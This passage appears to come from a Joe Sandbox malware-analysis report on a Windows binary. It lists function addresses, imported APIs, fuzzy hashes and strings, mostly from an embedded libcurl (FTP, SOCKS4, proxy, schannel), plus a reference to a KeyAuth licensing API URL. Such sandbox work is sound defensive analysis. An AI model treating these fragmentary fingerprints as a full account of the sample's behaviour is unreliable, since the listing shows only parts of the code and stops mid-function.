Opcode ID: fe309d15e1c9ad468805ff72253f153e950cdde515967c5eaefca60ef4d9a424
Instruction ID: 4119557f27c5523a8a647b6d2cda71478fdea702a161eb62585b7ed6421ee59a
Opcode Fuzzy Hash: fe309d15e1c9ad468805ff72253f153e950cdde515967c5eaefca60ef4d9a424
Instruction Fuzzy Hash: A881B312A0C28A46FB756739950037DEAD2EF4DB85FC84236DE8D063F6DE3CA6458320

Function 00007FF79B729140 Relevance: 31.7, APIs: 9, Strings: 12, Instructions: 208stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF79B729213
strchr.VCRUNTIME140 ref: 00007FF79B72926A
strchr.VCRUNTIME140 ref: 00007FF79B729282
strchr.VCRUNTIME140 ref: 00007FF79B72929D
strchr.VCRUNTIME140 ref: 00007FF79B729319
strchr.VCRUNTIME140 ref: 00007FF79B729331
strchr.VCRUNTIME140 ref: 00007FF79B72934C
strchr.VCRUNTIME140 ref: 00007FF79B729367
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7293F4

Strings

/M:, xrefs: 00007FF79B729195
CLIENT libcurl 7.70.0MATCH %s %s %sQUIT, xrefs: 00007FF79B7293D5
/DEFINE:, xrefs: 00007FF79B7291CB
default, xrefs: 00007FF79B7292C3, 00007FF79B72938D
/LOOKUP:, xrefs: 00007FF79B7291FD
/D:, xrefs: 00007FF79B7291E6
lookup word is missing, xrefs: 00007FF79B7292B4, 00007FF79B72937E
/FIND:, xrefs: 00007FF79B7291B0
Failed sending DICT request, xrefs: 00007FF79B729401
CLIENT libcurl 7.70.0DEFINE %s %sQUIT, xrefs: 00007FF79B7292FA
CLIENT libcurl 7.70.0%sQUIT, xrefs: 00007FF79B72924A
/MATCH:, xrefs: 00007FF79B72917A

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strchr$free
String ID: /D:$/DEFINE:$/FIND:$/LOOKUP:$/M:$/MATCH:$CLIENT libcurl 7.70.0%sQUIT$CLIENT libcurl 7.70.0DEFINE %s %sQUIT$CLIENT libcurl 7.70.0MATCH %s %s %sQUIT$Failed sending DICT request$default$lookup word is missing
API String ID: 3578582447-31095704
Opcode ID: 53b1f1ff83ba49730adffc0f43e93e22a6af339cda8417398f2a0793a2bb7f02
Instruction ID: 41ca2e0f452f72f551f86f90f8fe9ca13d5531d3c4f979cb896c57e7522b682f
Opcode Fuzzy Hash: 53b1f1ff83ba49730adffc0f43e93e22a6af339cda8417398f2a0793a2bb7f02
Instruction Fuzzy Hash: C4814D11A0C68A45FA75AB3999542B9F692EF4DBC4FC84233DD4D477B6DE2CEB01C220

Function 00007FF79B705170 Relevance: 30.1, APIs: 24, Instructions: 137COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70518C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7051A2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7051B6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7051C3

Part of subcall function 00007FF79B6FF050: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF061
Part of subcall function 00007FF79B6FF050: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF071
Part of subcall function 00007FF79B6FF050: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF07F
Part of subcall function 00007FF79B6FF050: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF08D
Part of subcall function 00007FF79B6FF050: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF09B
Part of subcall function 00007FF79B6FF050: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF0A9
Part of subcall function 00007FF79B6FF050: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF0B7
Part of subcall function 00007FF79B6FF050: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF0C5

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7051FF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B705213
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B705266
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70527A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70528E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7052A2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70530A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70531E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B705332
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B705346
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7053AA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7053EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7053FE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B705412
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B705426
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70543A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70544E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B705462
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B705476
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B705498

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 9c8d84b23c23547d3dcbb69ecb8177644d1ee1b27293fab0f9f33d95997fbe09
Instruction ID: 32cecab668260c729c28e278bcb448c792cb42eaf386bafd128e911902825c79
Opcode Fuzzy Hash: 9c8d84b23c23547d3dcbb69ecb8177644d1ee1b27293fab0f9f33d95997fbe09
Instruction Fuzzy Hash: BA91D436618B85D3E7499F35E9912ACB368F749F48F440236EFAD47364CF74A2A58320

Function 00007FF79B7239B0 Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 284stringCOMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7239FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B723AEF
strchr.VCRUNTIME140 ref: 00007FF79B723A31

Part of subcall function 00007FF79B6FAB20: __stdio_common_vsscanf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B6FAB64

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B723C57
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B723E21
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B723E43

Part of subcall function 00007FF79B70EEE0: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70EF1E

Strings

Connecting to %s (%s) port %d, xrefs: 00007FF79B723DFA
Bad PASV/EPSV response: %03d, xrefs: 00007FF79B723E6E
Couldn't interpret the 227-response, xrefs: 00007FF79B723B9E
%u,%u,%u,%u,%u,%u, xrefs: 00007FF79B723B7B
Can't resolve proxy host %s:%hu, xrefs: 00007FF79B723D03
%c%c%c%u%c, xrefs: 00007FF79B723A6B
%u.%u.%u.%u, xrefs: 00007FF79B723C63
Skip %u.%u.%u.%u for data connection, re-use %s instead, xrefs: 00007FF79B723C2B
Can't resolve new host %s:%hu, xrefs: 00007FF79B723D6E
Weirdly formatted EPSV reply, xrefs: 00007FF79B723B0F
Illegal port number in EPSV reply, xrefs: 00007FF79B723AAF

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupfree$__stdio_common_vsscanfstrchr
String ID: %c%c%c%u%c$%u,%u,%u,%u,%u,%u$%u.%u.%u.%u$Bad PASV/EPSV response: %03d$Can't resolve new host %s:%hu$Can't resolve proxy host %s:%hu$Connecting to %s (%s) port %d$Couldn't interpret the 227-response$Illegal port number in EPSV reply$Skip %u.%u.%u.%u for data connection, re-use %s instead$Weirdly formatted EPSV reply
API String ID: 3103143820-2414412286
Opcode ID: bd80529c0a055b40eb949fe60fbfac290892e4a6154919f81aed75a89cf498cd
Instruction ID: 9c6ece9736a36e7d86d86fa2fbccf0e9eac5f342bbcb25f4baf0b2f70c35f5b6
Opcode Fuzzy Hash: bd80529c0a055b40eb949fe60fbfac290892e4a6154919f81aed75a89cf498cd
Instruction Fuzzy Hash: 76D19522A0C68A96EA34AB39D5406B9F7A1FB49794F840133DA4D07BB5DF3CE754C720

Function 00007FF79B704240 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 219COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704562

Strings

socks5h, xrefs: 00007FF79B7042E2
socks5, xrefs: 00007FF79B704300
Unsupported proxy scheme for '%s', xrefs: 00007FF79B704371
socks, xrefs: 00007FF79B70434A
https, xrefs: 00007FF79B7042C4
Unsupported proxy syntax in '%s', xrefs: 00007FF79B70454A
socks4, xrefs: 00007FF79B704336
Unsupported proxy '%s', libcurl is built without the HTTPS-proxy support., xrefs: 00007FF79B7043A4
socks4a, xrefs: 00007FF79B70431B
http, xrefs: 00007FF79B70435E

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: Unsupported proxy '%s', libcurl is built without the HTTPS-proxy support.$Unsupported proxy scheme for '%s'$Unsupported proxy syntax in '%s'$http$https$socks$socks4$socks4a$socks5$socks5h
API String ID: 1294909896-874090715
Opcode ID: 6b2f688943a9e32c43d9c8cdf6eaed92e1136cbf8a329590702e2aec2510cadf
Instruction ID: 4a4b649c55e04105a69f3cbc1431b874e4130f96c883caeca8d854dc2e5afb82
Opcode Fuzzy Hash: 6b2f688943a9e32c43d9c8cdf6eaed92e1136cbf8a329590702e2aec2510cadf
Instruction Fuzzy Hash: 30A19F22E0864A85FB20EB7AD8405BDA7B5AB4C794F84063BDE0D576B5DF38E7448360

Function 00007FF79B722E60 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 208stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B71C080: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,00000000,00007FF79B70340F), ref: 00007FF79B71C0AE

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B722F36
strchr.VCRUNTIME140 ref: 00007FF79B722F54
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B722F84
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B722F9F
strchr.VCRUNTIME140 ref: 00007FF79B722FC9
strrchr.VCRUNTIME140 ref: 00007FF79B722FE5
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72300F
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72302A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72304E
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B723066
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B7230A5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7230E0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72317C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7231A1

Strings

Uploading to a URL without a file name!, xrefs: 00007FF79B7230CC
Request has same path as previous transfer, xrefs: 00007FF79B723186

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: calloc$free$strchrstrncpy$_strdupmallocstrncmpstrrchr
String ID: Request has same path as previous transfer$Uploading to a URL without a file name!
API String ID: 2243338858-131330169
Opcode ID: 6763ac52683adc2b30a8790578e0db2f895b694b4c0befe19cf29afa3948292b
Instruction ID: a4ab5721e4938d36ca93bf31faebbcb57811e88f48c698174f220ec6a94526ce
Opcode Fuzzy Hash: 6763ac52683adc2b30a8790578e0db2f895b694b4c0befe19cf29afa3948292b
Instruction Fuzzy Hash: D891C621B08B8986EA78AB39D444279B3A1FB49B90F844237DB5E037B4DF3DD6458731

Function 00007FF79B6FA3A0 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 154COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B7010B9,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B6FA403
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B7010B9,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B6FA47D
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B7010B9,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B6FA4A1
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B7010B9,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B6FA4F0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B7010B9,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B6FA52A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B7010B9,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B6FA53C
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B7010B9,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B6FA54F
_unlink.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B7010B9,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B6FA56A
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B7010B9,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B6FA580
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B7010B9,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B6FA589

Strings

## Fatal libcurl error, xrefs: 00007FF79B6FA5B7
%s.%s.tmp, xrefs: 00007FF79B6FA43A
%s, xrefs: 00007FF79B6FA51B
# Netscape HTTP Cookie File# https://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk., xrefs: 00007FF79B6FA476

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$fclose$__acrt_iob_func_unlinkcallocfputsqsort
String ID: ## Fatal libcurl error$# Netscape HTTP Cookie File# https://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk.$%s$%s.%s.tmp
API String ID: 1368378007-4087121635
Opcode ID: ec21716dceaff2b7029e21b4bdcd17de1c33046af72defe3cfa22fc0696f2635
Instruction ID: 292f9f2f77b7754083c2cce9f36ca2943c3591ded95e02d9626f3dedd1ca7226
Opcode Fuzzy Hash: ec21716dceaff2b7029e21b4bdcd17de1c33046af72defe3cfa22fc0696f2635
Instruction Fuzzy Hash: 8C517011A0D64E81FE75BB39981527AA3B2AF49BC5FC44532CD6E467B0EE3CF6058630

Function 00007FF79B716440 Relevance: 27.3, APIs: 1, Strings: 17, Instructions: 341COMMON

Download Yara Rule

Strings

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed., xrefs: 00007FF79B7169E4
[, xrefs: 00007FF79B7169D4
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client., xrefs: 00007FF79B7169AD
SOCKS4%s request granted., xrefs: 00007FF79B716A06
Failed to send SOCKS4 connect request., xrefs: 00007FF79B7167ED
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown., xrefs: 00007FF79B716946
Failed to resolve "%s" for SOCKS4 connect., xrefs: 00007FF79B71672B
Too long SOCKS proxy name, can't use!, xrefs: 00007FF79B716607
SOCKS4 connect to IPv4 %s (locally resolved), xrefs: 00007FF79B7166AA
SOCKS4 non-blocking resolve of %s, xrefs: 00007FF79B7165AB
SOCKS4 reply has wrong version, version should be 0., xrefs: 00007FF79B7168E1
SOCKS4 connection to %s not supported, xrefs: 00007FF79B71670C
SOCKS4%s: connecting to HTTP proxy %s port %d, xrefs: 00007FF79B716506
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids., xrefs: 00007FF79B716973
SOCKS4: Failed receiving connect request ack: %s, xrefs: 00007FF79B71689A
SOCKS4 communication to %s:%d, xrefs: 00007FF79B71651F
SOCKS4: too long host name, xrefs: 00007FF79B716806

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID:
String ID: Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.$Failed to resolve "%s" for SOCKS4 connect.$Failed to send SOCKS4 connect request.$SOCKS4 communication to %s:%d$SOCKS4 connect to IPv4 %s (locally resolved)$SOCKS4 connection to %s not supported$SOCKS4 non-blocking resolve of %s$SOCKS4 reply has wrong version, version should be 0.$SOCKS4%s request granted.$SOCKS4%s: connecting to HTTP proxy %s port %d$SOCKS4: Failed receiving connect request ack: %s$SOCKS4: too long host name$Too long SOCKS proxy name, can't use!$[
API String ID: 0-3760664348
Opcode ID: a9838e1c531df5b224806c47af8f7eb581c4b624720c16989e9d2bc795b1fd96
Instruction ID: aba3120ca5a1dfb239f23022c0020d0d18e6374c1f789671bf6b24985c1497b3
Opcode Fuzzy Hash: a9838e1c531df5b224806c47af8f7eb581c4b624720c16989e9d2bc795b1fd96
Instruction Fuzzy Hash: B0E1B16190C2898AE774EF399444379BBA2EB89784F848237DA4D477B5DE3CE644C730

Function 00007FF79B6E5470 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 362COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E55CE
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6E55FC
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6E560A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E5644
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E5695
memset.VCRUNTIME140 ref: 00007FF79B6E54C3

Part of subcall function 00007FF79B6E4310: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF79B6E1B49), ref: 00007FF79B6E4341

Part of subcall function 00007FF79B6E6310: memcpy.VCRUNTIME140 ref: 00007FF79B6E6486

Part of subcall function 00007FF79B6E1FB0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2121

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E5802
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6E582E
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6E583C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E5877
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E58CA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E59B1
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF79B6E59C9
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF79B6E59D6

Strings

value, xrefs: 00007FF79B6E5536, 00007FF79B6E576E

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy$memcpy$?uncaught_exception@std@@D@std@@@std@@Osfx@?$basic_ostream@U?$char_traits@memset
String ID: value
API String ID: 2102519606-494360628
Opcode ID: e6abd9e33a740746a936d1a104757d02c94551415d371e3f2cc947af29df2850
Instruction ID: a9ac48b4561a10e24a4dc6e031468339e4f8ebc06cb13a87898a20b4203af633
Opcode Fuzzy Hash: e6abd9e33a740746a936d1a104757d02c94551415d371e3f2cc947af29df2850
Instruction Fuzzy Hash: 16F1FC22A1868585FB20EB7CE4443ADA762FB457A4F504332E6AD03AF5DF3CE295C710

Function 00007FF79B71B1E0 Relevance: 26.5, APIs: 4, Strings: 11, Instructions: 241encryptionCOMMON

Download Yara Rule

APIs

CertEnumCertificatesInStore.CRYPT32 ref: 00007FF79B71B4C7
CertEnumCertificatesInStore.CRYPT32 ref: 00007FF79B71B537
CertFreeCertificateContext.CRYPT32 ref: 00007FF79B71B575
CertFreeCertificateContext.CRYPT32 ref: 00007FF79B71B588

Strings

schannel: failed to retrieve remote cert context, xrefs: 00007FF79B71B5A7
schannel: failed to setup sequence detection, xrefs: 00007FF79B71B23A
schannel: failed to retrieve ALPN result, xrefs: 00007FF79B71B2FB
schannel: ALPN, server accepted to use %.*s, xrefs: 00007FF79B71B328
http/1.1, xrefs: 00007FF79B71B33B
schannel: failed to setup stream orientation, xrefs: 00007FF79B71B2B0
ALPN, server did not agree to a protocol, xrefs: 00007FF79B71B355
schannel: failed to setup memory allocation, xrefs: 00007FF79B71B291
schannel: failed to store credential handle, xrefs: 00007FF79B71B42C
schannel: failed to setup replay detection, xrefs: 00007FF79B71B256
schannel: failed to setup confidentiality, xrefs: 00007FF79B71B272

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: Cert$CertificateCertificatesContextEnumFreeStore
String ID: ALPN, server did not agree to a protocol$http/1.1$schannel: ALPN, server accepted to use %.*s$schannel: failed to retrieve ALPN result$schannel: failed to retrieve remote cert context$schannel: failed to setup confidentiality$schannel: failed to setup memory allocation$schannel: failed to setup replay detection$schannel: failed to setup sequence detection$schannel: failed to setup stream orientation$schannel: failed to store credential handle
API String ID: 2572311694-3353508759
Opcode ID: d125e29cbc53f20c62fd678dc5c24584fcb7469be373689906402c056d156694
Instruction ID: e72261f67d0c830547e9075d5fdf448a705310da2e1e9d51a982b6b6868a9adf
Opcode Fuzzy Hash: d125e29cbc53f20c62fd678dc5c24584fcb7469be373689906402c056d156694
Instruction Fuzzy Hash: 5DB18321A08A4A85EB70EB3DD8543B9B391EB8CB95F844233D94D477B4DF3CD6458720

Function 00007FF79B711A00 Relevance: 26.5, APIs: 6, Strings: 9, Instructions: 218stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF79B711AB8
strchr.VCRUNTIME140 ref: 00007FF79B711ACF
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B711B1B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B711CE7
